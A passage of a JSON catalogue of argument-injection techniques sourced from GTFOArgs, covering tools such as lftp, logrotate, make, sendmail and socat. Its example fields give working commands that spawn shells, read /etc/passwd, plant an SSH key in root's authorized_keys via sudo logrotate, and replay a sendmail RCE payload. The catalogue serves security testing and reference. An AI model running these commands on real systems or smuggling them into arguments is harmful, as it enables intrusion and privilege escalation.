        "description": "Can be used to execute already-compiled Java code. `malicious-agent` is a local file which has somehow found its way onto the server that `javac` is running, and is a compiled Java runtime. See [DU_CTF2022](https://github.com/DownUnderCTF/Challenges_2022_Public/tree/main/web/university-of-straya-part1/solution) for more information about this.",
        "command": "javac -d output.jar -J-malicious-agent "
      }
    ],
    "execution": {
      "template": "javac",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-javac",
    "name": "javac",
    "namespace": "argument:injection:javac",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/javac/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# lftp\n\nGTFOArgs entry for lftp. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-lftp.md",
    "capabilities": [
      "security.execution.command",
      "system.file.read",
      "system.file.write"
    ],
    "description": "Argument injection via lftp",
    "examples": [
      {
        "description": "Stack commands that include launching a shell.",
        "command": "lftp -e '!bash' "
      },
      {
        "description": "Stack commands that include running a command.",
        "command": "lftp -e '!whoami' "
      },
      {
        "description": "Read an arbitrary file by specifying it as a script file.",
        "command": "lftp -f /etc/passwd "
      },
      {
        "description": "Overwrite a file, or create an empty file.",
        "command": "lftp -c 'mirror --script=lftp.script' "
      }
    ],
    "execution": {
      "template": "lftp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-lftp",
    "name": "lftp",
    "namespace": "argument:injection:lftp",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/lftp/"
      }
    ],
    "techniques": [
      "execution",
      "discovery",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# logrotate\n\nGTFOArgs entry for logrotate. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-logrotate.md",
    "capabilities": [
      "security.execution.command",
      "system.file.write",
      "system.file.read",
      "security.privilege-escalation.sudo"
    ],
    "description": "Argument injection via logrotate",
    "examples": [
      {
        "description": "Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.",
        "command": "logrotate -m \"/usr/bin/id &> /tmp/output #\" -v -f logrotate.policy "
      },
      {
        "description": "Requires a logrotate policy which uses the `mail` directive.",
        "command": "logrotate -m \"/usr/bin/bash -i #\" -v -f logrotate.policy "
      },
      {
        "description": "Creates or overwrites the file with the exact text `logrotate state -- version 2`",
        "command": "logrotate -s /tmp/file logrotate.policy "
      },
      {
        "description": "Creates or overwrites the file with junk data in combination with arbitrary data.",
        "command": "logrotate -l /tmp/file helloworld "
      },
      {
        "description": "Reads the first 'word'.",
        "command": "logrotate /etc/passwd "
      },
      {
        "description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note that this will overwrite `/etc/cron.daily/man-db` with a cronjob.",
        "command": "sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'"
      }
    ],
    "execution": {
      "template": "logrotate",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "argument-injection-logrotate",
    "name": "logrotate",
    "namespace": "argument:injection:logrotate",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/logrotate/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration",
      "discovery",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# make\n\nGTFOArgs entry for make. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-make.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via make",
    "examples": [
      {
        "description": "Can be used to execute arbitrary commands on a system and spawn shells either indirectly",
        "command": "make -s --eval=$'x:\\n\\t-'\"/bin/sh\" "
      }
    ],
    "execution": {
      "template": "make",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-make",
    "name": "make",
    "namespace": "argument:injection:make",
    "parameters": [
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignored for compatibility",
        "aliases": [
          "-b",
          "-m"
        ],
        "flag": "-b"
      },
      {
        "name": "always-make",
        "template_key": "always-make",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Unconditionally make all targets",
        "aliases": [
          "-B",
          "--always-make"
        ],
        "flag": "-B"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Change to DIRECTORY before doing anything",
        "aliases": [
          "-C",
          "--directory"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print lots of debugging information",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print various types of debugging information",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "environment-overrides",
        "template_key": "environment-overrides",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Environment variables override makefiles",
        "aliases": [
          "-e",
          "--environment-overrides"
        ],
        "flag": "-e"
      },
      {
        "name": "eval",
        "template_key": "eval",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Evaluate STRING as a makefile statement",
        "aliases": [
          "-E",
          "--eval"
        ],
        "flag": "-E"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read FILE as a makefile",
        "aliases": [
          "-f",
          "--file",
          "--makefile"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print this message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "ignore-errors",
        "template_key": "ignore-errors",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ignore errors from recipes",
        "aliases": [
          "-i",
          "--ignore-errors"
        ],
        "flag": "-i"
      },
      {
        "name": "include-dir",
        "template_key": "include-dir",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Search DIRECTORY for included makefiles",
        "aliases": [
          "-I",
          "--include-dir"
        ],
        "flag": "-I"
      },
      {
        "name": "jobs",
        "template_key": "jobs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow N jobs at once; infinite jobs with no arg",
        "aliases": [
          "-j",
          "--jobs"
        ],
        "flag": "-j"
      },
      {
        "name": "jobserver-style",
        "template_key": "jobserver-style",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Select the style of jobserver to use",
        "aliases": [
          "--jobserver-style"
        ],
        "flag": "--jobserver-style"
      },
      {
        "name": "keep-going",
        "template_key": "keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Keep going when some targets can't be made",
        "aliases": [
          "-k",
          "--keep-going"
        ],
        "flag": "-k"
      },
      {
        "name": "load-average",
        "template_key": "load-average",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't start multiple jobs unless load is below N",
        "aliases": [
          "-l",
          "--load-average",
          "--max-load"
        ],
        "flag": "-l"
      },
      {
        "name": "check-symlink-times",
        "template_key": "check-symlink-times",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use the latest mtime between symlinks and target",
        "aliases": [
          "-L",
          "--check-symlink-times"
        ],
        "flag": "-L"
      },
      {
        "name": "just-print",
        "template_key": "just-print",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't actually run any recipe; just print them",
        "aliases": [
          "-n",
          "--just-print",
          "--dry-run",
          "--recon"
        ],
        "flag": "-n"
      },
      {
        "name": "old-file",
        "template_key": "old-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Consider FILE to be very old and don't remake it",
        "aliases": [
          "-o",
          "--old-file",
          "--assume-old"
        ],
        "flag": "-o"
      },
      {
        "name": "output-sync",
        "template_key": "output-sync",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Synchronize output of parallel jobs by TYPE",
        "aliases": [
          "-O",
          "--output-sync"
        ],
        "flag": "-O"
      },
      {
        "name": "print-data-base",
        "template_key": "print-data-base",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print make's internal database",
        "aliases": [
          "-p",
          "--print-data-base"
        ],
        "flag": "-p"
      },
      {
        "name": "question",
        "template_key": "question",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run no recipe; exit status says if up to date",
        "aliases": [
          "-q",
          "--question"
        ],
        "flag": "-q"
      },
      {
        "name": "no-builtin-rules",
        "template_key": "no-builtin-rules",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the built-in implicit rules",
        "aliases": [
          "-r",
          "--no-builtin-rules"
        ],
        "flag": "-r"
      },
      {
        "name": "no-builtin-variables",
        "template_key": "no-builtin-variables",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-R",
          "-i",
          "--no-builtin-variables"
        ],
        "flag": "-R"
      },
      {
        "name": "shuffle",
        "template_key": "shuffle",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Perform shuffle of prerequisites and goals",
        "aliases": [
          "--shuffle"
        ],
        "flag": "--shuffle"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't echo recipes",
        "aliases": [
          "-s",
          "--silent",
          "--quiet"
        ],
        "flag": "-s"
      },
      {
        "name": "no-silent",
        "template_key": "no-silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Echo recipes (disable --silent mode)",
        "aliases": [
          "--no-silent"
        ],
        "flag": "--no-silent"
      },
      {
        "name": "no-keep-going",
        "template_key": "no-keep-going",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Turns off -k",
        "aliases": [
          "-S",
          "--no-keep-going",
          "--stop"
        ],
        "flag": "-S"
      },
      {
        "name": "touch",
        "template_key": "touch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Touch targets instead of remaking them",
        "aliases": [
          "-t",
          "--touch"
        ],
        "flag": "-t"
      },
      {
        "name": "trace",
        "template_key": "trace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print tracing information",
        "aliases": [
          "--trace"
        ],
        "flag": "--trace"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Print the version number of make and exit",
        "aliases": [
          "-v",
          "--version"
        ],
        "flag": "-v"
      },
      {
        "name": "print-directory",
        "template_key": "print-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Print the current directory",
        "aliases": [
          "-w",
          "--print-directory"
        ],
        "flag": "-w"
      },
      {
        "name": "no-print-directory",
        "template_key": "no-print-directory",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Turn off -w, even if it was turned on implicitly",
        "aliases": [
          "--no-print-directory"
        ],
        "flag": "--no-print-directory"
      },
      {
        "name": "what-if",
        "template_key": "what-if",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Consider FILE to be infinitely new",
        "aliases": [
          "-W",
          "--what-if",
          "--new-file",
          "--assume-new"
        ],
        "flag": "-W"
      },
      {
        "name": "warn-undefined-variables",
        "template_key": "warn-undefined-variables",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--warn-undefined-variables"
        ],
        "flag": "--warn-undefined-variables"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/make/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# psql\n\nGTFOArgs entry for psql. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-psql.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via psql",
    "examples": [
      {
        "description": "The `--output` argument pipes data through external commands when the value is prefixed with `|`.",
        "command": "psql -o'|id>/tmp/foo' "
      }
    ],
    "execution": {
      "template": "psql",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip",
      "stealth"
    ],
    "id": "argument-injection-psql",
    "name": "psql",
    "namespace": "argument:injection:psql",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/psql/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# qt5\n\nGTFOArgs entry for qt5. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-qt5.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via qt5",
    "examples": [
      {
        "description": "The `-platformpluginpath` flag can be used to load arbitrary shared libraries from a remote path.",
        "command": "qt5_app -platformpluginpath \\\\foo\\bar "
      }
    ],
    "execution": {
      "template": "qt5",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-qt5",
    "name": "qt5",
    "namespace": "argument:injection:qt5",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/qt5/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# run-parts\n\nGTFOArgs entry for run-parts. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-run-parts.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via run-parts",
    "examples": [
      {
        "description": "Spawn an interactive shell by matching `/bin/sh`.",
        "command": "run-parts --new-session --regex '^sh$' /bin "
      },
      {
        "description": "Execute an arbitrary command via `sh -c <cmd>` using `--arg`.",
        "command": "run-parts --regex '^sh$' --arg -c --arg 'id' /bin "
      },
      {
        "description": "Run a command that writes a file (example uses `echo`).",
        "command": "run-parts --regex '^sh$' --arg -c --arg 'echo pwned > /tmp/owned' /bin "
      }
    ],
    "execution": {
      "template": "run-parts",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip",
      "stealth"
    ],
    "id": "argument-injection-run-parts",
    "name": "run-parts",
    "namespace": "argument:injection:run-parts",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/run-parts/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# sendmail\n\nGTFOArgs entry for sendmail. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-sendmail.md",
    "capabilities": [
      "security.execution.command",
      "network.transfer.upload",
      "system.file.write"
    ],
    "description": "Argument injection via sendmail",
    "examples": [
      {
        "description": "The -be flag can be used to execute system commands, when sendmail is provided by Exim4.",
        "command": "sendmail -be '${run{/bin/sh -c \"uname -a\"}{yes}{no}}' "
      },
      {
        "description": "See [\\\"PoC HTTP request / minimal PoC exploit\\\"](https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html) for more information about this exploit. This example runs `uname -a`.",
        "command": "sendmail -t -i -f 'email@address.com(tmp1' -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}uname${substr{10}{1}{$tod_log}}-a$}}' 'tmp2)' "
      },
      {
        "description": "Arbitrary files can be delivered.",
        "command": "sendmail -t -i -f mail@address.com -C/etc/passwd -X/dev/null < mail.txt "
      },
      {
        "description": "Arbitrary local files can be written to a new location. It is worthy of playing around with the ability to upload files/the contents of the mail being sent.",
        "command": "sendmail -t -i -f mail@address.com -X/var/www/html/exploit.php < mail.txt "
      }
    ],
    "execution": {
      "template": "sendmail",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-sendmail",
    "name": "sendmail",
    "namespace": "argument:injection:sendmail",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/sendmail/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# sftp\n\nGTFOArgs entry for sftp. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-sftp.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via sftp",
    "examples": [
      {
        "description": "Can be used to execute any command or file on a system, but without stdin/stdout/stderr.",
        "command": "sftp -D\"touch /tmp/korewashere\" "
      }
    ],
    "execution": {
      "template": "sftp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-sftp",
    "name": "sftp",
    "namespace": "argument:injection:sftp",
    "parameters": [
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces sftp to use IPv4 addresses only",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces sftp to use IPv6 addresses only",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Attempt to continue interrupted transfers rather than overwrit-",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify the size of the buffer that sftp uses when transferring files. Larger buffers require fewer round trips at the cost of higher memory consumption. The default is 32768 bytes",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Batch mode reads a series of commands from an input batchfile instead of stdin. Since it lacks user interaction, it should be used in conjunction with non-interactive authentication to obvi- ate the need to enter a password at connection time (see sshd(8) and ssh-keygen(1) for details)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the cipher to use for encrypting the data transfers. This option is directly passed to ssh(1)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect directly to a local sftp server (rather than via ssh(1)). A command and arguments may be specified, for example \"/path/sftp-server -el debug3\". This option may be useful in debugging the client and server",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies an alternative per-user configuration file for ssh(1). This option is directly passed to ssh(1)",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests that files be flushed to disk immediately after trans-",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the file from which the identity (private key) for pub- lic key authentication is read. This option is directly passed to ssh(1)",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to the target host by first making an sftp connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a ProxyJump configuration directive. This option is directly passed to ssh(1)",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limits the used bandwidth, specified in Kbit/s",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate sftp command-line flag. For example, to specify an alternate port use: sftp -oPort=24. For full details of the options listed below, and their possible values, see ssh_config(5)",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the port to connect to on the remote host",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Preserves modification times, access times, and modes from the",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet mode: disables the progress meter as well as warning and",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-R",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify how many requests may be outstanding at any one time. Increasing this may slightly improve file transfer speed but will increase memory usage. The default is 64 outstanding re- quests",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Recursively copy entire directories when uploading and download-",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Name of the program to use for the encrypted connection. The program must understand ssh(1) options",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the SSH2 subsystem or the path for an sftp server on the remote host. A path is useful when the remote sshd(8) does not have an sftp subsystem configured",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Raise logging level. This option is also passed to ssh",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-X",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify an option that controls aspects of SFTP protocol behav- iour. The valid options are:",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "flag-1",
        "template_key": "flag-1",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Produce single columnar output",
        "aliases": [
          "-1"
        ],
        "flag": "-1"
      },
      {
        "name": "flag-a-2",
        "template_key": "flag-a-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List files beginning with a dot (`.')",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-f-2",
        "template_key": "flag-f-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not sort the listing. The default sort order is lex-",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When used with a long format option, use unit suffixes:",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-l-2",
        "template_key": "flag-l-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Display additional details including permissions and",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Produce a long listing with user and group information",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-r-2",
        "template_key": "flag-r-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Reverse the sort order of the listing",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Sort the listing by last modification time",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/sftp/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# socat\n\nGTFOArgs entry for socat. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-socat.md",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "description": "Argument injection via socat",
    "examples": [
      {
        "description": "The command leverages socats ability to relay data, reading arbitary file by opening it in read-only mode.",
        "command": "socat -u OPEN:/etc/passwd,rdonly STDOUT "
      },
      {
        "description": "The exec argument runs an arbitrary command and spawn a shell.",
        "command": "socat stdin exec:bash "
      },
      {
        "description": "The exec argument runs an arbitrary command.",
        "command": "socat stdin exec:whoami "
      }
    ],
    "execution": {
      "template": "socat",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "id": "argument-injection-socat",
    "name": "socat",
    "namespace": "argument:injection:socat",
    "parameters": [
      {
        "name": "0",
        "type": "boolean",
        "required": false,
        "description": "do not prefer an IP version",
        "aliases": [
          "-0"
        ],
        "flag": "-0"
      },
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv4 if version is not explicitly specified",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "6",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "analyze file descriptors before loop",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "L",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or fail",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from right to left",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "S",
        "type": "boolean",
        "required": false,
        "description": "log these signals, override default",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "total inactivity timeout in seconds",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "U",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (right to left)",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "print version and feature information to stdout, and exit",
        "aliases": [
          "-V"
        ],
        "flag": "-V"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "try to obtain lock, or wait",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "set data buffer size (8192)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "increase verbosity (use up to 4 times; 2 are recommended)",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "d0",
        "type": "boolean",
        "required": false,
        "description": "|1|2|3|4    set verbosity level (0: Errors; 4 all including Debug)",
        "aliases": [
          "-d0"
        ],
        "flag": "-d0"
      },
      {
        "name": "experimental",
        "type": "boolean",
        "required": false,
        "description": "enable experimental features",
        "aliases": [
          "--experimental"
        ],
        "flag": "--experimental"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "array",
        "required": false,
        "default_value": null,
